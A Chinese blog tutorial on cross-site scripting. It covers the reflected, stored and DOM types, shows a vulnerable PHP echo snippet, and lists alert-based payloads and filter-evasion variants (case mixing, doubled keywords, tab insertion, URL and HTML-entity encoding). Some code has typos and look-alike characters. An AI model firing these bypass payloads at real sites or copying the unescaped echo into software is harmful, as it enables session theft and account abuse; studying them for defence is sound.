XSS漏洞及其原理(详解)

news2025/1/30 16:03:06

文章目录

  • 前言
  • 一、XSS漏洞原理
    • 1.概述
    • 2.利用方式
    • 3.执行方式
    • 4.攻击对象
    • 5.XSS危害
      • (1)窃取cookie
      • (2)未授权操作
      • (3)传播蠕虫病毒
    • 6.简单代码
    • 7.XSS验证
    • 8.
  • 二、XSS漏洞分类
    • 1.反射型XSS
      • 原理
      • 特点
        • 举个栗子:
    • 2.存储型XSS
      • 原理
      • 特点
    • 3.DOM型XSS
      • 原理
      • 特点
      • 举个栗子
      • 栗子一
      • 栗子二
      • 简单利用
  • 三、XSS payload及变形
    • 1.payload构造
      • (1)利用伪协议(HTML标签的属性值)
      • (2)利用事件
      • (3)利用CSS (只做了解)
      • (4)利用【<>】构造HTML标签和标签
    • 2.payload变形
      • (1)大小写
      • (2)双关键字
      • (3)【/】代替空格
      • (4)引号
      • (5)Tab与回车
      • (6)编码
  • 总结


前言

一、XSS漏洞原理

1.概述

XSS被称为跨站脚本攻击(Cross Site Scripting),由于和层叠样式表(Cascading Style Sheets,CSS)重名,改为XSS。

主要基于JavaScript语言进行恶意攻击,因为js非常灵活操作html、css、浏览器。

2.利用方式

利用网页开发时web应用程序对用户输入过滤不足导致将恶意代码注入到网页中,使用户浏览器加载并执行恶意代码,通常是JavaScript类型,也包括java、vbs、flash、html等。

3.执行方式

用户浏览被XSS注入过的网页,浏览器就会解析这段代码,就被攻击了。因为浏览器当中有JavaScript解析器,浏览器不会判断代码是否恶意,只要符合语法规则,就直接解析了。

4.攻击对象

客户端攻击,对象大多为用户,网站管理员。
还有微博,网页留言板,聊天室等收集用户输入的地方。

5.XSS危害

(1)窃取cookie

因为大部分人喜欢将密码储存到浏览器当中,所以黑客一般渗透的时候就会先来浏览器查看已保存的cookie 来盗取各种用户账号

前面文章也提到预防xss一种方法 (传送门)

(2)未授权操作

js特性很强大,黑客会直接代替用户在html进行各类操作。比如劫持会话,刷流量,执行弹窗广告,还能记录用户的键盘输入。

(3)传播蠕虫病毒

6.简单代码

<?php
$input = $_GET["XSS"];
etho "<div>".$input."</div>";
?>

7.XSS验证

当在测试页面上提交以下代码,浏览器执行之后会出现弹窗,这是为了验证js代码是否被执行,代码被当做字符串输出在HTML页面上,浏览器当中的JavaScript解析器会根据

<script>alert(/xss/)</script>           #比较常用
<script>confirm('xss')</script>
<script>prompt("xss")</script>

8.

二、XSS漏洞分类

1.反射型XSS

非持久型XSS,最容易出现的XSS漏洞。

原理

用户在请求某个URL地址时,会携带一部分数据。当客户端进行访问某条链接时,攻击者可以将恶意代码注入到URL,如果服务器端未对URL携带的参数做判断和过滤,直接返回响应页面,那么XSS攻击代码就会被一起传输到用户的浏览器,触发反射型XSS。

特点

非持久性
参数脚本
js代码在web应用的参数当中:搜索框

数据流量:浏览器---->后端---->浏览器

举个栗子:

当用户进行搜索时,返回结果通常包括用户的原始搜索内容,如果攻击者精心构造包含XSS恶意代码的链接,诱导用户点击并成功执行,用户的信息就被窃取了,甚至还可以模拟用户进行一些操作。

利用URL编码来迷惑
在这里插入图片描述
生成短网址,用来掩饰,造成迷惑。
在这里插入图片描述

2.存储型XSS

原理

被保存到服务器上,显示到HTML页面中,经常出现在用户评论的页面,攻击者将XSS代码保存到数据库中,当用户在此访问这个页面时,就会触发并执行XSS代码,窃取用户的敏感信息。

特点

危害性最大:持久的保存在服务器上
持久型XSS
js代码不在某个参数中,而是被写进了数据库或文件可以永久保存数据的介质中,如留言板等。

数据流量走向:浏览器—>后端—>数据库—>后端—>浏览器

3.DOM型XSS

首先什么是DOM? 什么又是DOM树?
移步
全称 文档对象模型(Document Object Model)

原理

基于文档对象模型(DOM)的一种漏洞。这种XSS与反射型XSS、存储型XSS有着本质的区别,它的攻击代码不需要服务器解析响应,触发XSS依靠浏览器端的DOM解析,客户端的JavaScript脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获取数据并执行。

特点

非持久性

数据流量:URL—>浏览器

举个栗子

document,getElementByld(“x”).innerHTML、document.write
在这里插入图片描述

栗子一

恶意payload:

http://localhost/dom.php?name= <img src =1 οnerrοr=> 等号后面填alert(1) 【懂得都懂】
当访问访问以上地址时,服务器返回包含上面脚本的HTML静态脚本,浏览器会把HTML文本解析成DOM

语法:οnerrοr=“SomeJavaScriptCode”
SomeJavaScriptCode:必需。规定该事件发生时执行的JavaScript。
在这里插入图片描述

栗子二

在这里插入图片描述

简单利用

<script>
var text = document.getElementByld('private_msg').innerHTML;
alert(text);
</script>

在这里插入图片描述

三、XSS payload及变形

1.payload构造

(1)利用伪协议(HTML标签的属性值)

<a href="javascript:alert(/xss/)">touch me !< /a>
<img src="javascript:alert('xss')">   #需在IE6测试

(2)利用事件

<img src='./smile.jpg' onmouseover='alert(/xss/)'>
<input type="text" onclick="alert(/xss/)">

(3)利用CSS (只做了解)

行内样式

<div style="background-image:url(javascript:alert(/xss/))">

页内样式

<style>Body{background-image:url(javascript:alert(/xss/))}</style>

(4)利用【<>】构造HTML标签和标签

<h1 style="color:green;">XSS</h1>
<script>alert(/xss/)</script>

2.payload变形

(1)大小写

<iMg sRc='#'Onerror="alert(/xss/)"/>
<a hREf="javaScript:alert(/xss/)">click me </a>

(2)双关键字

<scrscript>alert(/xss/)</scrscript>

(3)【/】代替空格

<img/src='#'onerror='alert(/xss/)'/>

(4)引号

在js当中可以用反引号代替单双引号,在HTML中就不需要。

<img src="#"onerror="alert(/xss/)"/>
<img src='#'onerror='alert(/xss/)'/>
<img src=# onerror=alert(/xss/)/>
<img src="#"onerror=alert('xss')/>
<img src="#"onerror=alert'xss'/>

(5)Tab与回车

在一些位置添加Tab(水平制表符)和回车符来绕过关键字检测

<img src='#'onerror		='alert(/xss/)'/>
<a href="j	 avascript:alert(/xss/)">click me!</a>
<A href="j
avascript:alert(/xss/)">click me!</a>

(6)编码

URL编码
%3Cscript%3Ealert(/xss/)%3C/script%3E
HTML实体编码
a 97
(&#97) “7”后面还有美式分号“;”
&#61 “1”后面还有美式分号“;”

<a href="j&#97;v&#x61;script:alert(/xss/)">click me!</a>

总结

声明:本文所涉及到的仅用于学习交流使用,如有其他与本人无关

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/407684.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

EasyExcel使用与步骤

一、导入依赖&#xff08;3.1.0版本不需要poi依赖&#xff09; <!-- easyExcel--><dependency><groupId>com.alibaba</groupId><artifactId>easyexcel</artifactId><version>3.1.1</version></dependency>二、写数据…

nvm下node安装;node环境变量配置

1、nvm安装 1、双击安装文件 nvm-setup.exe 2、选择nvm安装路径 3、选择nodejs路径 4、确认安装即可 5、安装完确认 打开CMD&#xff0c;输入命令 nvm &#xff0c;安装成功则如下显示。可以看到里面列出了各种命令&#xff0c;本节最后会列出这些命令的中文示意。 6、…

nodejs和npm版本不匹配

前言&#xff1a;我是因为要用vue创建项目&#xff0c;之后发现创建项目创建不上去&#xff0c;我想的是安装vue的脚手架工具&#xff0c;但是npm死活安装不上去&#xff0c;一直报错&#xff0c;我是一直在网上找解决方法&#xff0c;之后我自己终于解决了&#xff0c;心情是非…

解决el-tree子节点过多导致渲染缓慢问题

1、问题背景 在使用el-tree中&#xff0c;通常会调用后端接口从而去渲染tree。若后端返回数据量过于庞大&#xff0c;则会导致el-tree渲染缓慢的问题。此时我们通常会使用懒加载tree的方式&#xff0c;也就是点击某一个节点后去调取接口动态获取该节点的子数据。这种方式的确会…

DevOps系列文章 - K8S构建Jenkins持续集成平台

k8s安装直接跳过&#xff0c;用Kubeadm安装也比较简单安装和配置 NFSNFS简介NFS&#xff08;Network File System&#xff09;&#xff0c;它最大的功能就是可以通过网络&#xff0c;让不同的机器、不同的操作系统可以共享彼此的文件。我们可以利用NFS共享Jenkins运行的配置文件…

H5项目如何打包成APP

开发uni-app的编辑器HBuilderX可以将H5项目打包成APP&#xff0c;相信很多小伙伴还不知道这个功能。下面将介绍下如何将H5打包成APP。 HBuilderX下载链接&#xff1a;https://www.dcloud.io/hbuilderx.html 1.新建5APP项目 选择文件>新建>项目&#xff0c;新建5APP项目…

.env 文件

.env 文件配置 文件说明 .env&#xff1a;全局默认配置文件&#xff0c;无论什么环境都会加载合并。 .env.development&#xff1a;开发环境的配置文件 .env.production&#xff1a;生产环境的配置文件 注意&#xff1a;三个文件的文件名必须按上面方式命名&#xff0c;不能乱…

推荐10个基于Vue3.0全家桶的优秀开源项目

目录 PPTist vue-next-admin Vue vben admin VUE3-MUSIC vue-pure-admin vue3-composition-admin newbee-mall-vue3-app Element Plus vue3-bigData cool-admin-vue 今天来分享 10 个基于 Vue3.0 全家桶的优秀开源项目&#xff01; PPTist PPTist 是一个基于 Vue3.…

【Vue路由(router)进一步详解】

Vue路由&#xff08;router&#xff09;进一步详解query属性具体实例代码如下&#xff1a;params属性具体实例代码如下&#xff1a;props属性replace属性编程式路由导航路由缓存具体代码&#xff1a;总结本篇文章主要针对已经掌握Vue路由&#xff08;router&#xff09;基础以及…

Vue业务组件封装(二)Form表单

前言 这个系列主要是分享自己在工作中常用到的业务组件&#xff0c;以及如何对这些组件进行有效的封装和封装的思路。注&#xff1a;都是基于element ui进行二次封装。 封装组件的基本方法就是通过props和emit进行父子组件的传值和通信。利用插槽、组件等增加组件的可扩展性和复…

JavaScript实现留言板

目录 1.案例说明&#xff1a; 2.html部分 3.css部分 4.js代码 5.全部代码 6.效果图&#xff1a; 1.案例说明&#xff1a; 利用JavaScript、css以及html制作一个简易的留言板 要求在页面文本框中输入一些文字之后&#xff0c;点击“提交”按钮&#xff0c;就可以让输入的…

React+Mobx|综合项目实践(附项目源码、地址)

欢迎来到我的博客 📔博主是一名大学在读本科生,主要学习方向是前端。 🍭目前已经更新了【Vue】、【React–从基础到实战】、【TypeScript】等等系列专栏 🛠目前正在学习的是🔥 R e a c t 框架 React框架 Reac

【学姐面试宝典】前端基础篇Ⅳ(JavaScript)

前言 博主主页&#x1f449;&#x1f3fb;蜡笔雏田学代码 专栏链接&#x1f449;&#x1f3fb;【前端面试专栏】 今天继续学习前端面试题相关的知识&#xff01; 感兴趣的小伙伴一起来看看吧~&#x1f91e; 文章目录webpack 的作用什么是按需加载如何理解前端模块化讲讲 JS 的语…

npm i 报错及解决方案

目录报错案例1报错案例2报错案例3报错案例4报错案例5报错案例1 npm ERR! Cannot read properties of null (reading pickAlgorithm)解决方案&#xff1a;清理缓存后再次安装 npm cache clear --force报错案例2 npm ERR! gyp info it worked if it ends with ok ... npm ERR!…

前端使用lottie-web,使用AE导出的JSON动画贴心教程

Lottie简介 官方介绍&#xff1a;Lottie是一个库&#xff0c;可以解析使用AE制作的动画&#xff08;需要用bodymovie导出为json格式&#xff09;,支持web、ios、android、flutter和react native。 在web端&#xff0c;lottie-web库可以解析导出的动画json文件&#xff0c;并将其…

【博主推荐】html好看的图片轮播多种风格(源码)

html好看的图片轮播多种风格所有轮播图动态效果展示1.普通自带按钮切换轮播图1.1 效果展示1.2 源码2.自动切换图片2.1 效果展示2.2 源码3.鼠标拖动切换图片3.1 效果展示4.数字按钮拖动切换图片4.1 效果展示5.图片带缩略图5.1 效果展示6.上下拖动切换图片6.1 效果展示7. 3D切换图…

X-Frame-Options简介

最近安全检查&#xff0c;发现没有保障和避免自己的网页嵌入到别人的站点里面&#xff0c;于是需要设置X-Frame-Options增加安全性。 网上查了查资料&#xff0c;这里记录一下。 可以使用下面工具进行验证&#xff1a;Clickjacking Tool | Test | UI Redressing 1、X-Frame-Op…

3.js中判断数组中是否存在某个对象/值,判断数组里的对象是否存在某个值 的五种方法 及应用场景|判断数组里有没有某对象,有不添加,没有则添加到数组

3.js中判断数组中是否存在某个对象/值&#xff0c;判断数组里的对象是否存在某个值 的五种方法 及应用场景 一、当数组中的数据是简单类型时&#xff1a; 应用js中的indexof方法&#xff1a;存在则返回当前项索引&#xff0c;不存在则返回 -1。 var arr[1,2,3,4]var str2// …

ECharts设置双x轴

下面给大家分享一下ECharts的几种功能&#xff0c;循序渐进地实现一个复杂的曲线图。 V1.0&#xff1a; 代码&#xff1a; let option {title: { text: V1.0 },legend: { data:[销量] },// x轴的数据xAxis: {data: ["王","胡歌","曾小贤",&q…

Vue3使用axios的配置教程详解

1.安装 npm install --save axios vue-axios2.在src根目录创建service文件夹。然后创建axios.js 2.1在axios.js添加拦截器,请求拦截:initAxios.interceptors.request;响应拦截:initAxios.interceptors.response import axios from "axios";const initAxios axios.…